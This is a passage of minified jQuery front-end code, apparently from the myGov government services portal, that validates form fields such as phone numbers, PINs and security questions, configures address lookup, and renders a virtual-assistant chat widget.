$mobile=$("[data-mobile-number]"),$home=$("[data-home-number]"),$work=$("[data-work-number]");$("[data-mobile-number]").on("keyup",function(){if($(this).val()!=""){formHelper.enableDate();}else{if(($home.val()||$work.val())===""){formHelper.disableDate();}}});$("[data-home-number]").on("keyup",function(){if($(this).val()!=""){formHelper.enableDate();}else{if(($work.val()||$mobile.val())===""){formHelper.disableDate();}}});$("[data-work-number]").on("keyup",function(){if($(this).val()!=""){formHelper.enableDate();}else{if(($home.val()||$mobile.val())===""){formHelper.disableDate();}}});$("[data-mobile-number]").on("blur",function(){if($(this).val()!=""){formHelper.enableDate();if(formHelper.isMobileValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid Australian or Norfolk Island mobile number. Australian mobile numbers contain 10 digits and begin with 04","p");}}else{formHelper.clearError($(this));if(($home.val()||$work.val())===""){formHelper.disableDate();}}});$("[data-home-number]").on("blur",function(){if($(this).val()!=""){formHelper.enableDate();if(formHelper.isHomeNumberValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid Australian or Norfolk Island landline phone number. Australian landline numbers contain 10 digits and begin with 02, 03, 07 or 08","p");}}else{formHelper.clearError($(this));if(($work.val()||$mobile.val())===""){formHelper.disableDate();}}});$("[data-work-number]").on("blur",function(){if($(this).val()!=""){formHelper.enableDate();if(formHelper.isWorkNumberValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid Australian or Norfolk Island phone number. Australian phone numbers contain 10 digits and begin with 02, 03, 07, 08 or 04 for mobile numbers","p");}}else{formHelper.clearError($(this));if(($home.val()||$mobile.val())===""){formHelper.disableDate();}}});$("[data-home-number], [data-work-number]").on("keyup blur",function(e){if(this.value.length>0){$(this).parent().next('[type="checkbox"]').prop("disabled",false).attr("aria-disabled",false);}else{$(this).parent().next('[type="checkbox"]').prop("disabled",true).attr("aria-disabled",true);if(e.type==="blur"){$(this).parent().next('[type="checkbox"]').prop("checked",false);}}});$("[data-home-number], [data-work-number]").trigger("keyup");};contactNumber();$("[data-showmore-hideself]").on("click",function(){$(".moreUpdates[hidden]").slice(0,10).removeAttr("hidden aria-hidden");if($(".moreUpdates[hidden]").length===0){$(this).parent().hide();}});});})(jQuery);$(document).ready(function(){$("[data-email-addr]").on("blur",function(){if(formHelper.isEmailValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid email address. For example name@mail.com","p");}});$("[data-number-email-input]").on("blur",function(){if((formHelper.isNotEmpty($(this).val()))&&(formHelper.chkValidCode($(this)))){formHelper.clearCodeError($(this));}else{formHelper.setCodeError($(this),"Enter the 6 digit code we sent to your email address","p");}});$("[data-number-mobile-input]").on("blur",function(){if((formHelper.isNotEmpty($(this).val()))&&(formHelper.chkValidCode($(this)))){formHelper.clearCodeError($(this));}else{formHelper.setCodeError($(this),"Enter the 6 digit code we sent to your mobile number","p");}});$("[data-number-totp--input]").on("blur",function(){if((formHelper.isNotEmpty($(this).val()))&&(formHelper.chkValidCode($(this)))){formHelper.clearCodeError($(this));}else{formHelper.setCodeError($(this),"To continue, enter a code from the myGov Code Generator app","p");}});});$("[data-mobile-num]").on("blur",function(){if(formHelper.isMobileValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid Australian or Norfolk Island mobile number. Australian mobile numbers contain 10 digits and begin with 04.","p");}});const securityCodesInfo=document.querySelector("#security-codes-info");if(securityCodesInfo){securityCodesInfo.setAttribute("hidden","true");}$("[data-infotext-toggle]").on("click",function(){const securityCodesInfo=document.querySelector("#security-codes-info");const hidden=securityCodesInfo.getAttribute("hidden");var attr=$(this).attr("aria-expanded");attr=attr==="false"?"true":"false";$(this).attr("aria-expanded",attr);if(hidden==null){securityCodesInfo.setAttribute("hidden","true");}else{securityCodesInfo.removeAttribute("hidden");}});$(":radio[data-inbox-pref]").on("change",function(){var selected=this.value;switch(selected){case"mobile":formHelper.clearError($("[data-email-addr]"));formHelper.resetDefaultValue($("[data-email-addr]"));$("[data-email-addr]").closest($("label")).attr({"hidden":true,"aria-hidden":true});$("[data-mobile-num]").closest($("label")).removeAttr("hidden aria-hidden");break;case"email":formHelper.clearError($("[data-mobile-num]"));formHelper.resetDefaultValue($("[data-mobile-num]"));$("[data-mobile-num]").closest($("label")).attr({"hidden":true,"aria-hidden":true});$("[data-email-addr]").closest($("label")).removeAttr("hidden aria-hidden");break;default:}});(function($){var initSQA=function(){var $form=$(".sqa-form"),$question=$("[data-secretquestion]"),$answer=$("[data-secretanswer]");$(".selectRadio input:radio").on("blur change",function(){var selectedRadioName=$(".selectRadio input:radio:checked").val();if((selectedRadioName)===undefined){formHelper.setErrorSelect($(".selectRadio"),"Make a selection");}else{formHelper.clearErrorSelect($(".selectRadio"));}});$question.on("blur",function(){var errMsg="",rule1=formHelper.chkFieldIsEmpty($(this)),rule2=chkQuestionAnswerSame(),rule3=formHelper.chkTooManyCharacters($(this),100);if(rule1){errMsg="Enter a question";}else{if(rule2){errMsg="The question and answer must be different";}else{if(rule3){errMsg="The question can't be more than 100 characters including spaces";}}}if(errMsg!==""){formHelper.setError($(this),errMsg,"p");}else{formHelper.clearError($question);}chkQuestionAnswerSame();});$answer.on("blur",function(){var errMsg="",rule1=formHelper.chkFieldIsEmpty($(this)),rule2=chkQuestionAnswerSame(),rule3=formHelper.chkTooManyCharacters($(this),40);if(rule1){errMsg="Enter an answer";}else{if(rule2){errMsg="The question and answer must be different";}else{if(rule3){errMsg="The answer can't be more than 40 characters including spaces";}}}if(errMsg!==""){formHelper.setError($(this),errMsg,"p");}else{formHelper.clearError($answer);}});$question.on("keyup",function(){var errMsg="",rule1=formHelper.chkTooManyCharacters($(this),100);if(rule1){errMsg="The question can't be more than 100 characters, including spaces";}if(errMsg!==""){formHelper.setError($(this),errMsg,"p");}});$answer.on("keyup",function(){var errMsg="",rule1=formHelper.chkTooManyCharacters($(this),40);if(rule1){errMsg="The answer can't be more than 40 characters including spaces";}if(errMsg!==""){formHelper.setError($(this),errMsg,"p");}});var chkQuestionAnswerSame=function(){var errMsg="The question and answer must be different";$questionValue=$question.length>0?$question.val().trim().toLowerCase():"";$answerValue=$answer.val().trim().toLowerCase();if(!$questionValue||!$answerValue||(!$questionValue&&!$answerValue)){return;}if($questionValue===$answerValue){return true;}else{return false;}};};var toggleOwnQuestion=function(){var $question=$("[data-secretquestion]"),$answer=$("[data-secretanswer]");$("[data-prefillquestion]").prev("input").on("change",function(){$question.val($(this).next().text());$question.parent().hide();});$("input[name=radioQuestion]").on("change",function(){var $selectedQuestion=$("input[name=radioQuestion]:checked"),$lastQuestion=$("input[name=radioQuestion]").last();if($selectedQuestion.val()!==$answer.val()){formHelper.clearError($answer);}else{formHelper.setError($answer,"The question and answer must be different","p");}if($lastQuestion.is(":checked")){formHelper.clearError($selectedQuestion);formHelper.clearError($answer);$question.val("");$question.parent().show().css("display","block");}else{formHelper.clearError($question);$question.parent().hide();}});};toggleOwnQuestion();initSQA();})(jQuery);(function($){$(document).ready(function(){if($("[data-date]").length>0){if($("[data-date]").val()!==""){var date=$("[data-date]").val().split("/");var $parent=$(".date-fields");day=$parent.find("[data-date-day]").val(date[0]);month=$parent.find("[data-date-month]").val(date[1]);year=$parent.find("[data-date-year]").val(date[2]);formHelper.enableDate();}}$("#raetDiv-home").on("change","input",function(){if($("#same-as-residential").is(":checked")){mapHomePostal();}});$("#same-as-residential").on("change",function(){if($("#same-as-residential").is(":checked")){mapHomePostal();}else{$("#postal-section input").val("");}});$("#same-as-residential").on("click",function(){$("#postal-section").toggle();});$("#raetDiv-home, #raetDiv-postal").on("blur keyup","input",function(){resetDate();});var homeSectionBlank=function(){var blank=true;$("#raetDiv-home input").each(function(){if(!blank){return blank;}var input=$.trim($(this).val());blank=!input;});return blank;};var postalSectionBlank=function(){var blank=true;$("#raetDiv-postal input").each(function(){if(!blank){return blank;}var input=$.trim($(this).val());blank=!input;});return blank;};var resetDate=function(){var homeBlank=homeSectionBlank();var postalBlank=postalSectionBlank();var blank=homeBlank&&postalBlank;blank?formHelper.disableDate():formHelper.enableDate();};var mapHomePostal=function(){$("#delivery-address-line-1-singleLine").val($("#residential-address-line-1-singleLine").val());$("#postal-address").val($("#home-address").val());$("#postal-suburb").val($("#home-suburb").val());$("#postal-postcode").val($("#home-postcode").val());$("#postal-state").val($("#home-state").val());};function raetToggleText(element,name){if($("#raetDiv-"+name).attr("data-view")==="multi"){element.text("Find my "+name+" address");}if($("#raetDiv-"+name).attr("data-view")==="single"){element.text("I can't find my "+name+" address");}}function raetToggleView(name){$(".raet-"+name+"-anchor").on("click",function(){$("#raetDiv-"+name).attr("data-view",function(index,attr){return attr=="multi"?"single":"multi";});raetToggleText($(this),name);if($("#raetDiv-"+name).attr("data-view")==="multi"){raetAddress("multi",name);}if($("#raetDiv-"+name).attr("data-view")==="single"){raetAddress("single",name);}$(this).attr("aria-pressed","true").attr("aria-live","polite").attr("aria-atomic","true");$("#raetDiv-"+name).find("input")[0].focus();resetDate();});}raetToggleView("home");raetToggleView("postal");function removeContainers(root){if(root){$("> .raet-container",$(root)).remove();}}function raetAddress(view,name){var rootContainer=$("#raetDiv-"+name);if(rootContainer){removeContainers(rootContainer);var config={webService:"prod_secure",destination:document.getElementById("raetDiv-"+name),fields:{streetAddress:document.getElementById(name+"-address"),suburb:document.getElementById(name+"-suburb"),postcode:document.getElementById(name+"-postcode"),state:document.getElementById(name+"-state")},labels:{singleLine:"Find address"}};if(view==="single"){config.type="singleLine";}if(view==="multi"){config.integration=true;}Raet(config);}}function raetInit(name){$("#"+name+"-output").each(function(){var allEmpty=true;$(this).find('input[type="text"]').each(function(){if(this.value.trim().length>0){allEmpty=false;$("#raetDiv-"+name).attr("data-view","multi");raetAddress("multi",name);raetToggleText($(".raet-"+name+"-anchor"),name);return false;}});if(allEmpty===true){$("#raetDiv-"+name).attr("data-view","single");raetAddress("single",name);raetToggleText($(".raet-"+name+"-anchor"),name);}});}raetInit("home");raetInit("postal");});})(jQuery);$(document).ready(function(){$("[data-identity-expanded]").on("click",function(){$(this).attr("aria-expanded",function(name,value){return value==="false"?"true":"false";});$(".identity-hub-info-text").slideToggle();clearArrows();if($(this).attr("aria-expanded")==="true"){$("#find-out-more-digital-identity").removeClass("link-arrow-down");$("#find-out-more-digital-identity").addClass("link-arrow-up");}else{$("#find-out-more-digital-identity").removeClass("link-arrow-up");$("#find-out-more-digital-identity").addClass("link-arrow-down");}});function clearArrows(){$("#find-out-more-digital-identity").removeClass("link-arrow-down");$("#find-out-more-digital-identity").removeClass("link-arrow-up");}$("[data-login-username]").on("blur",function(){if($(this).val().trim()!==""){var message="Enter a valid email address, mobile number or myGov username. A valid myGov username is 2 letters, followed by 6 numbers.";if(formHelper.isEmailValid($(this).val())||(/^[A-z]{2}[0-9]{6}$/g).test($(this).val())||formHelper.isMobileValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),message,"p");}}else{formHelper.setError($(this),"Enter a username or email address","p");}});$("#mygov-beta").on("click",function(e){var action=dynaTrace.enterAction("myGovBetaNav","click");dynaTrace.leaveAction(action);});});window.addEventListener("hashchange",function(event){var element=document.getElementById(location.hash.substring(1));if(element){if(!/^(?:a|select|input|button|textarea)$/i.test(element.tagName)){element.tabIndex=-1;}element.focus();}},false);$("[data-poro-input]").on("blur",function(){if($(this).val()!==""){if($('input[name="formId"]').val()==="clkPersonalDetailsFast"){}else{var pattern=new RegExp($(this).attr("data-pattern"));var validPattern=pattern.test($(this).val());if(!validPattern){var patternMsg=$(this).attr("data-pattern-msg");var msg="Enter a valid value";msg=patternMsg!==undefined?patternMsg:msg;formHelper.setError($(this),msg,"p");}else{formHelper.clearError($(this));}}}});$("[data-poro-input-mandatory]").on("blur",function(){if($('input[name="formId"]').val()==="clkPersonalDetailsFast"){}else{if(formHelper.isNotEmpty($(this).val())){if($(this).attr("data-poro-input")===undefined){formHelper.clearError($(this));}}else{formHelper.setError($(this),"Require a value","p");}}});$("[data-poro-checkbox-mandatory]").on("blur",function(){if($(this).is(":checked")){formHelper.clearError($(this));}else{formHelper.setError($(this),"Must be selected","p");}});$("[data-helptext-toggle]").on("click",function(){var attr=$(this).attr("aria-expanded");attr=attr==="false"?"true":"false";$(this).attr("aria-expanded",attr);$(this).attr("tabindex",tabindex);var $ariaControl=$("#"+$(this).attr("aria-controls"));var tabindex=$ariaControl.attr("tabindex");tabindex=tabindex==="-1"?"0":"-1";$ariaControl.attr("tabindex",tabindex);$ariaControl.toggle();});$("[button-poro-cancel]").on("click",function(e){e.preventDefault();});$("[data-helptext-toggle]").on("keypress",function(e){if(e.which===32){$(this).trigger("click");}if(e.which===9){e.preventDefault();}});$("[data-number--only]").on("blur",function(e){if(formHelper.isNotEmpty($(this).val())&&formHelper.chkNumberOnly($(this))){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid number","p");}});$("[data-number--optional]").on("blur",function(e){if(formHelper.chkNumberOnly($(this))){formHelper.clearError($(this));}else{if(formHelper.isNotEmpty($(this).val())){formHelper.setError($(this),"Enter a valid number","p");}}});$("[data-medicare--input]").on("blur",function(e){if(formHelper.chkNumberOnly($(this))&&$(this).val().length===10){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid medicare number","p");}});$(document).ready(function(){if($('input[name="formId"]').val()==="clkPersonalDetailsFast"){$("input[name*=clkCRN]").addClass("is-visuallyhidden").val("000000000Z");$("button[name=_eventId_next]").text("Continue");}var keyup_checker=function(evt){var stroke,_ref;stroke=(_ref=evt.which)!=null?_ref:evt.keyCode;this.search_field_scale();switch(stroke){case 8:if(this.is_multiple&&this.backstroke_length<1&&this.choices_count()>0){return this.keydown_backstroke();}else{if(!this.pending_backstroke){this.result_clear_highlight();return this.results_search();}}break;case 13:evt.preventDefault();evt.stopPropagation();if(this.results_showing){return this.result_select(evt);}else{this.results_search();}break;case 27:if(this.results_showing){this.results_hide();}return true;case 9:case 38:case 40:case 16:case 91:case 17:case 18:break;default:return this.results_search();}};$(".chosen-select-man, .chosen-select").each(function(i,select){var $select=$(select);var container=$select.chosen($select.hasClass(".chosen-select")?{allow_single_deselect:true}:{});var data=container.data("chosen");if(data){data.keyup_checker=keyup_checker;data.container.on("keydown",function(e){if(e.key==="Enter"||e.keyCode===13){e.preventDefault();e.stopPropagation();}});var showing=false;data.container.focusin(function(e){if(!showing){data.dropdown.css({left:"0",bottom:"0",overflow:"hidden","z-index":"0"});}});$select.on("chosen:showing_dropdown",function(){showing=true;data.dropdown.css({left:"",bottom:"",overflow:"","z-index":"1"});});$select.on("chosen:hiding_dropdown",function(){showing=false;data.dropdown.css({left:"0",bottom:"0",overflow:"hidden","z-index":"0"});});}});});$(document).ready(function(){var uPIN={init:function(){uPIN.cacheDom();uPIN.onBlur(uPIN.$newPin);uPIN.onBlur(uPIN.$reenterPin);uPIN.onKeyup(uPIN.$newPin);uPIN.onKeyup(uPIN.$reenterPin);$(uPIN.$currentPin).on("blur",function(){console.log(uPIN.$currentPin);if(!uPIN.isEmpty(this)){return;}});$(uPIN.$newPin).on("blur",function(){if(uPIN.$reenterPin.val()!=""){uPIN.$reenterPin.trigger("keyup");}});uPIN.$Pin=$("[data-pin]");$(uPIN.$currentPin).on("blur",function(){if(!uPIN.isEmpty(this)){return;}});},cacheDom:function(){uPIN.$currentPin=$("[data-current-pin]");uPIN.$newPin=$("[data-new-pin]");uPIN.$reenterPin=$("[data-reenter-pin]");},isEmpty:function(element){if(formHelper.isEmpty(element.value)){formHelper.setError($(element),"Enter a PIN","p");return false;}else{formHelper.clearError($(element));return true;}},onBlur:function(element){$(element).on("blur",function(){uPIN.validate(this);});},onKeyup:function(element){$(element).on("keyup",function(e){if(e.which===9){return;}if(e.which===16){return;}uPIN.match(this);});},match:function(element){var successMsg,errorMsg,isSame;if(element.attributes.hasOwnProperty("data-reenter-pin")){isSame=formHelper.isTypingSame(uPIN.$reenterPin,uPIN.$newPin);}if(isSame!==undefined){if(isSame){successMsg="Your PINs are the same";errorMsg="";}else{errorMsg="The PIN you've re-entered doesn't match your new PIN";successMsg="";}if(formHelper.isNotEmpty(uPIN.$reenterPin.val())){(errorMsg!=="")?formHelper.setError(uPIN.$reenterPin,errorMsg,"p"):formHelper.setSuccess(uPIN.$reenterPin,successMsg);}}},maxChars:function(element){if(element.value.length!==4){formHelper.setError($(element),"Your PIN must contain 4 numbers","p");return false;}else{formHelper.clearError($(element));return true;}},notAscending:function(element){if(element.value.length===4&&"0123456789".indexOf(element.value)!=-1){formHelper.setError($(element),"Your PIN can't contain 4 consecutive numbers","p");return false;}else{formHelper.clearError($(element));return true;}},notDescending:function(element){if(element.value.length===4&&"9876543210".indexOf(element.value)!=-1){formHelper.setError($(element),"Your PIN can't contain 4 consecutive numbers","p");return false;}else{formHelper.clearError($(element));return true;}},numericOnly:function(element){if(!(/^\d*$/g).test(element.value)){formHelper.setError($(element),"Your PIN must contain 4 numbers","p");return false;}else{formHelper.clearError($(element));return true;}},sameDigits:function(element){if((/^([0-9])\1{3}$/g).test(element.value)){formHelper.setError($(element),"Your PIN can't contain 4 of the same number","p");return false;}else{formHelper.clearError($(element));return true;}},validate:function(element){if(!uPIN.isEmpty(element)){return;}if(!uPIN.maxChars(element)){return;}if(!uPIN.numericOnly(element)){return;}if(!uPIN.sameDigits(element)){return;}if(!uPIN.notAscending(element)){return;}if(!uPIN.notDescending(element)){return;}if(!uPIN.match(element)){return;}}};uPIN.init();});$(document).ready(function(){var usernameField=$("[data-username]");function validateUsername($inputField){var unameval=$inputField.val(),unameMatch=unameval?formHelper.isUserIdValid(unameval):false,emailMatch=unameval?formHelper.isEmailValid(unameval):false,mobileMatch=unameval?formHelper.isMobileValid(unameval):false;if(unameMatch||emailMatch||mobileMatch){formHelper.clearError($inputField);if(mobileMatch){formHelper.setInfo($inputField,'You must have this mobile number set up as a username in your Account settings.');}else{formHelper.clearInfo($inputField);}}else{formHelper.clearInfo($inputField);formHelper.setError($inputField,"Enter a valid email address, mobile number or myGov username. A valid myGov username is 2 letters, followed by 6 numbers.","p");}}usernameField.on("focusout",function(){if(!this.hasAttribute("dont-validate")){validateUsername($(this));}});});$(document).ready(function(){var usernameEmailField=$("[data-username-email]");function validateUsernameEmail($inputField){var unameval=$inputField.val(),emailMatch=unameval?formHelper.isEmailValid(unameval):false;if(emailMatch){formHelper.clearError($inputField);}else{formHelper.clearInfo($inputField);formHelper.setError($inputField,"Enter a valid email","p");}}usernameEmailField.on("blur",function(){if(!this.hasAttribute("dont-validate")){validateUsernameEmail($(this));}});});(function($){$(":radio[data-apdm]").on("change",function(){var selected=this.value;switch(selected){case"true":$(".button-main").replaceWith('');break;case"false":$(".button-main").replaceWith('Next');break;default:}});})(jQuery);(function($){$(window).on("resize",function(){var $expand=$(".outage .expand");if($expand.length&&!$expand.hasClass("expand--expanded")){var content=$(".outage__content").get(0);if(content&&content.offsetWidth>=content.scrollWidth){$expand.attr({"hidden":true,"aria-hidden":true});}else{if($expand.attr("hidden")){$expand.removeAttr("hidden aria-hidden");}}}}).resize();$(".outage").on("click",".expand",function(){$(this).toggleClass("expand--expanded").next(".outage__content").toggleClass("outage__content--expanded");});$("[data-dismiss]").each(function(){$(this).append('');});$("[data-dismiss]").on("click",".dismiss",function(e){e.preventDefault();$(this).parent().fadeOut("fast",function(){$(this).remove();});});$("[data-dismiss-otp-alert]").on("click",".dismiss",function(){$.getJSON("/mygov/dismiss/sio");});$("[data-dismiss-inbox-alert]").on("click",".dismiss",function(){$.getJSON("/mygov/dismiss-inbox-alert");});$("[data-banner-digiId]").on("click",".data-banner-dismiss-button",function(e){e.preventDefault();$("[data-banner-digiId]").fadeOut("fast",function(){$(this).remove();});$.getJSON("/mygov/dismiss/digiId");});$("[data-alert-digiId]").on("click",".data-alert-dismiss-button",function(e){e.preventDefault();$("[data-alert-digiId]").fadeOut("fast",function(){$(this).remove();});$.getJSON("/mygov/dismiss/digiId");});})(jQuery);(function($){$(document).ready(function(){function wait(seconds,formId){setTimeout(function(){submitForm(formId);},seconds*1000);}function submitForm(formId){try{document.getElementById(formId).submit();}catch(err){}}wait(10,"oidcRedirForm");wait(2,"redirForm");});})(jQuery);$("[data-home-welcome-message]").each(function(){$(this).text("Good "+getGreetingTime(moment())+" ");});function getGreetingTime(m){var g=null;if(!m||!m.isValid()){return;}var split_afternoon=12;var split_evening=17;var currentHour=parseFloat(m.format("HH"));if(currentHour>=split_afternoon&¤tHour<=split_evening){g="afternoon";}else{if(currentHour>=split_evening){g="evening";}else{g="morning";}}return g;}$(function(){var upins=$("#upin-login, #upin-input, #upin-confirm");if(global.getAndroidVersion()<4.3){$("fieldset.pin-fields, div.pin-fields").removeClass("pin-fields");upins.attr({type:"password",pattern:"[0-9]*",inputmode:"numeric"}).val("").focus();}else{upins.val("").pincodeInput({hidedigits:true,inputs:4});var upinData=upins.data("plugin_pincodeInput");if(upinData){}}if(global.getUrlParams().event==="close"){$("a.button-back-home").text("Close").removeClass("button-back").click(function(e){e.preventDefault();window.close();});}});var initPinToggle=function(){$(".showPin").on("click",function(){var $this=$(this),$inputType,$passwordInput=$this.siblings("input"),relatedInputStr="",$pinInput=$("#pincode-input");$inputType=$passwordInput.attr("type");if($pinInput.hasClass("conceal")){setPinHide($this);}else{setPinShow($this);}});};var setPinShow=function($this){var $pinInput=$("#pincode-input");$showpinhelptext="Note: this will visually expose your pin on the screen.";$showhelp=$("#show-hide-helpmsg");$pinInput.removeClass("reveal");$pinInput.addClass("conceal");$this.attr("aria-label","Show pin as plain text.").attr("aria-describedby","show-hide-helpmsg").html(" Show");$showhelp.replaceWith("

"+$showpinhelptext+"

");};var setPinHide=function($this){var $pinInput=$("#pincode-input");$pinInput.removeClass("conceal");$pinInput.addClass("reveal");var $hidepinhelptext="Note: this will visually stop exposing your pin on the screen.";$hidehelp=$("#show-hide-helpmsg");$this.attr("aria-label","Hide pin").attr("aria-describedby","show-hide-helpmsg").html(" Hide");$hidehelp.replaceWith("

"+$hidepinhelptext+"

");};$("body").on("click keydown","[data-idp-help-toggle]",function(e){var codes={ENTER:13};if(e.type==="click"||e.keyCode===codes.ENTER){var attr=$(this).attr("aria-expanded");attr=attr==="false"?"true":"false";$(this).attr("aria-expanded",attr);$(this).attr("tabindex",tabindex);var $ariaControl=$("#"+$(this).attr("aria-controls"));var tabindex=$ariaControl.attr("tabindex");$ariaControl.attr("tabindex",tabindex);if($ariaControl.css("display")==="flex"){$ariaControl.css("display","none");}else{$ariaControl.css("display","flex");}}});$(function(){var additionalSelectors="";var fields=$("[autofocus]");if(additionalSelectors){fields.add(additionalSelectors);}var focusField=fields[0];if(focusField){focusField.setAttribute("dont-validate","");global.oneUseEvent(focusField,"keyup",function(){focusField.removeAttribute("dont-validate");});}});var va_isMaximised=false;var va_isOpen=false;var va_isMobile=false;var va_pushTimeout;var va_chatStarted=false;var titleBarTitle="Ask a question";var headingTitle="Ask a question";function getMobileHeader(){var mobileLargeClass="",vaOpenClass="";if(va_isOpen){mobileLargeClass=' class="va_mobileLarge" ';vaOpenClass=" va_open";}var mobileStyle='
'+'
'+'

'+headingTitle+"

"+'
'+"
"+"
";return mobileStyle;}function getDesktopHeader(){var rightMargin=calcRightMargin(),desktopHeaderSize="style='right:"+rightMargin+"'",vaExpanded="",resizeIconState="",resizeIconClass="";if(va_isOpen){vaExpanded=" va_expanded";resizeIconState='style="display: block;"';if(va_isMaximised){desktopHeaderSize='style="height:490px; width:600px; right:'+rightMargin+';"';resizeIconClass=" va_large";}else{desktopHeaderSize='style="height:455px; width:350px; right:'+rightMargin+';"';}}var desktopStyle='
'+'
'+'
'+'

'+headingTitle+"

"+''+'
'+"
"+"
";return desktopStyle;}function getAltText(element){if(element=="va_toggleIcon"||element=="va_mobileToggle"){if(va_isOpen){return"Hide "+titleBarTitle;}else{return"Open "+titleBarTitle;}}else{if(element=="va_resizeIcon"){if(va_isMaximised){return"View "+titleBarTitle+" in a smaller window";}else{return"View "+titleBarTitle+" in a larger window";}}}}function setAltText(element){var resizeAlt=getAltText(element);jQuery("#"+element).prop("title",resizeAlt);jQuery("#"+element).attr("aria-label",resizeAlt);}function calcRightMargin(){var windowWidth=jQuery(window).width(),maxContainerWidth=960,rightMargin="2%";return rightMargin;}function insertDiv(){var rightMargin=calcRightMargin(),chatAnchor=document.createElement("div"),appendStyle=va_isMobile==true?getMobileHeader():getDesktopHeader();chatAnchor.id="va_chatAnchor";chatAnchor.className="va_chatAnchor";chatAnchor.zIndex=99999;chatAnchor.setAttribute("role","complementary");chatAnchor.setAttribute("aria-labelledBy","va_chatTitle");document.body.appendChild(chatAnchor);jQuery("#va_chatAnchor").append(appendStyle);}function insertIframe(){var iframe=document.createElement("iframe");iframe.id=iframe.name="va_iframe";iframe.className="va_iframe";iframe.style.zIndex=9999;iframe.style.background="#E5E5E5";iframe.style.right=calcRightMargin();iframe.style.overflow="hidden";jQuery("#va_chatAnchor").append(iframe);}function determineContext(){return"";}function insertIframeSrc(){va_chatStarted=true;var context=determineContext();var source=setDAsource();setIFrameSrc(source);}function setIFrameSrc(source){if(typeof source!="undefined"&&source!=""){jQuery.when(jQuery("#va_iframe").attr("aria-live","assertive").attr("aria-relevant","additions").attr("src",source+"#/wea")).done(function(){return true;});}}function sendGoogleAnalyltics(event){try{if(ga){var context=determineContext();ga("send","event","Digital Assistant",event,context+" VA");}}catch(error){}}function addTimer(){va_pushTimeout=setTimeout(function(){sendGoogleAnalyltics("Timeout");postMessageToIframe("timeout");va_pushTimeout=null;if(!va_isMobile){jQuery("#va_chatHeader").click();}else{jQuery("#va_mobileToggle").click();}},60000);}function disableBGScrolling(){document.body.style.overflow="hidden";document.body.style.position="fixed";}function enableBGScrolling(){document.body.style.overflow="";document.body.style.position="";}function toggleVAMobile(){var toggleWidth=va_isOpen?"0px":"100%",toggleHeight=va_isOpen?"0px":(jQuery(window).height()-50);jQuery("#va_iframe").css({width:toggleWidth,height:toggleHeight,right:"0px",top:"50px"});jQuery("#va_mobileBar").toggleClass("va_mobileLarge");jQuery("#va_mobileToggle").toggleClass("va_open");va_isOpen=!va_isOpen;setAltText("va_mobileToggle");if(va_isOpen){postMessageToIframe({"type":0,"query":{"text":[],"id":"Welcome"}});disableBGScrolling();}else{enableBGScrolling();}}function addOnClickMobile(){jQuery("#va_mobileToggle").on("click",function(){sendGoogleAnalyltics("Mobile click");if(va_pushTimeout){clearTimeout(va_pushTimeout);va_pushTimeout=null;}if(!va_chatStarted){insertIframeSrc();}toggleVAMobile();});}function isWindowMobile(){if(typeof window.matchMedia!=="undefined"){return window.matchMedia("screen and (max-width: 599px), screen and (max-height: 490px)").matches;}return jQuery(window).width()<600;}function responsiveResize(){var isNewScreenMobile=isWindowMobile();var responsiveHeight=0,responsiveWidth=0,responsiveRight="",responsiveTop="",responsiveBottom="",rightMargin=calcRightMargin();if(isNewScreenMobile){if(!va_isMobile){jQuery("#va_chatHeader").replaceWith(getMobileHeader());jQuery("#va_iframe").css("display","");addOnClickMobile();}if(va_isOpen){disableBGScrolling();responsiveHeight=jQuery(window).height()-50;responsiveWidth=jQuery(window).width();responsiveRight="0px";responsiveTop="50px";}}else{enableBGScrolling();if(va_isMobile){jQuery("#va_mobileBar").replaceWith(getDesktopHeader());addOnClickDesktop();addOnResize();}else{jQuery("#va_chatHeader").css({right:rightMargin});}if(va_isOpen){responsiveBottom="0px";if(va_isMaximised){responsiveHeight=435;responsiveWidth=600;}else{responsiveHeight=400;responsiveWidth=350;}}responsiveRight=rightMargin;}jQuery("#va_iframe").css({height:responsiveHeight,width:responsiveWidth,right:responsiveRight,top:responsiveTop,bottom:responsiveBottom});va_isMobile=isNewScreenMobile;}function toggleVADesktop(){var ariaHidden=va_isOpen?"true":"false";if(va_isMaximised){var toggleHeight=va_isOpen?"0px":"435px",toggleWidth=va_isOpen?"0px":"600px",headerHeight=va_isOpen?"55px":"490px",headerWidth=va_isOpen?"350px":"600px";}else{var toggleHeight=va_isOpen?"0px":"400px",toggleWidth=va_isOpen?"0px":"350px",headerHeight=va_isOpen?"55px":"455px",headerWidth="350px";}if(!va_isOpen){if(va_isMaximised){jQuery("#va_iframe").animate({height:toggleHeight,width:toggleWidth});if(!jQuery("#va_resizeIcon").hasClass("va_large")){jQuery("#va_resizeIcon").addClass("va_large");}}else{jQuery("#va_iframe").animate({height:toggleHeight});jQuery("#va_iframe").css({width:toggleWidth});}jQuery("#va_iframe").css("display","inline-block");postMessageToIframe({"type":0,"query":{"text":[],"id":"Welcome"}});}else{jQuery("#va_iframe").animate({height:toggleHeight,width:"350px"});setTimeout(function(){jQuery("#va_iframe").css({width:toggleWidth,display:"none"});},500);}jQuery("#va_chatHeader").animate({height:headerHeight,width:headerWidth},{duration:400,queue:false});jQuery(".va_chatBorder").animate({width:headerWidth},{duration:400,queue:false});jQuery("#va_resizeIcon").toggle();jQuery("#va_toggleIcon").toggleClass("va_expanded");jQuery("#va_skipToConversation").toggleClass("active");jQuery("#va_skipToConversation").attr("aria-hidden",ariaHidden);postMessageToIframe("setAriaHiddenTags"+ariaHidden);va_isOpen=!va_isOpen;setAltText("va_toggleIcon");return true;}function addOnClickDesktop(){jQuery("#va_chatHeader").on("click",function(e){sendGoogleAnalyltics("Desktop click");if(va_pushTimeout){clearTimeout(va_pushTimeout);va_pushTimeout=null;}if(!va_chatStarted){insertIframeSrc();}toggleVADesktop();return false;});jQuery("#va_toggleIcon").bind("keyup",function(e){if(e.keyCode===13){jQuery("#va_chatHeader").click();}});}function addOnResize(){jQuery("#va_resizeIcon").on("click",function(e){resizeVA();e.stopPropagation();return 